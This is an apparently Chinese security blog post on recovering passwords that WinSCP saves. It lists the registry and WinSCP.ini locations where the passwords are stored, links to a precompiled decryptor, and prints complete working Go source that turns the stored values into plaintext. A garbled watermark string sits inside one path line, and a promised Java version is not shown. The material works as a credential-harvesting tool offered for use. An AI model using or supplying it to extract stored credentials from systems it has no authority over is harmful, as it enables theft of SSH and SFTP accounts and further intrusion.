关于Winscp 密码获取解密

WINSCP默认保存用户密码在注册表中的如下位置

HKEY_USERS\SID\Software\Martin Prikryl\WinSCP 2\Sessions\

但是WIN7\8下WinSCP默认路径在：

C:\Users\USERNAME\AppData\Local\VirtualStore\Program Files (x86)\WinSCP\WinSCP.ini （64位操作系统）
C:\Program Files (x86)\WinSCP\WinSCP.ini （64位操作系统）
C:\Users\USERNAME\AppData\Local\VirtualStore\Program Files\WinSCP\WinSCP.ini （32位操作系统） - 专注网络安全2 p% t+ \* j$ r- a
C:\Program Files\WinSCP\WinSCP.ini （32位操作系统）

记忆中最早的就是这个

有源码提供下载，还有编译好的程序可供下载使用

https://bitbucket.org/knarf/winscppwd/downloads/winscppwd.exe

还有就是一个GO语言的
https://github.com/anoopengineer/winscppasswd/blob/master/main.go

package main
 
import (
    "fmt"
    "os"
    "runtime"
    "strconv"
)
 
const (
    PW_MAGIC = 0xA3
    PW_FLAG  = 0xFF
)
 
func main() {
    args := os.Args[1:]
    if len(args) != 3 {
        fmt.Println("WinSCP stored password finder")
        fmt.Println("Open regedit and navigate to [HKEY_CURRENT_USER\\Software\\Martin Prikryl\\WinSCP 2\\Sessions] to get the hostname, username and encrypted password\n")
        if runtime.GOOS == "windows" {
            fmt.Println("Usage winscppasswd.exe <host> <username> <encrypted_password>")
        } else {
            fmt.Printf("Usage ./winscppasswd <host> <username> <encrypted_password>")
        }
        return
    }
    fmt.Println(decrypt(args[0], args[1], args[2]))
}
 
func decrypt(host, username, password string) string {
    key := username + host
    passbytes := []byte{}
    for i := 0; i < len(password); i++ {
        val, _ := strconv.ParseInt(string(password[i]), 16, 8)
        passbytes = append(passbytes, byte(val))
    }
    var flag byte
    flag, passbytes = dec_next_char(passbytes)
    var length byte = 0
    if flag == PW_FLAG {
        _, passbytes = dec_next_char(passbytes)
 
        length, passbytes = dec_next_char(passbytes)
    } else {
        length = flag
    }
    toBeDeleted, passbytes := dec_next_char(passbytes)
    passbytes = passbytes[toBeDeleted*2:]
 
    clearpass := ""
    var (
        i   byte
        val byte
    )
    for i = 0; i < length; i++ {
        val, passbytes = dec_next_char(passbytes)
        clearpass += string(val)
    }
 
    if flag == PW_FLAG {
        clearpass = clearpass[len(key):]
    }
    return clearpass
}
 
func dec_next_char(passbytes []byte) (byte, []byte) {
    if len(passbytes) <= 0 {
        return 0, passbytes
    }
    a := passbytes[0]
    b := passbytes[1]
    passbytes = passbytes[2:]
    return ^(((a << 4) + b) ^ PW_MAGIC) & 0xff, passbytes
}

附加一个java的
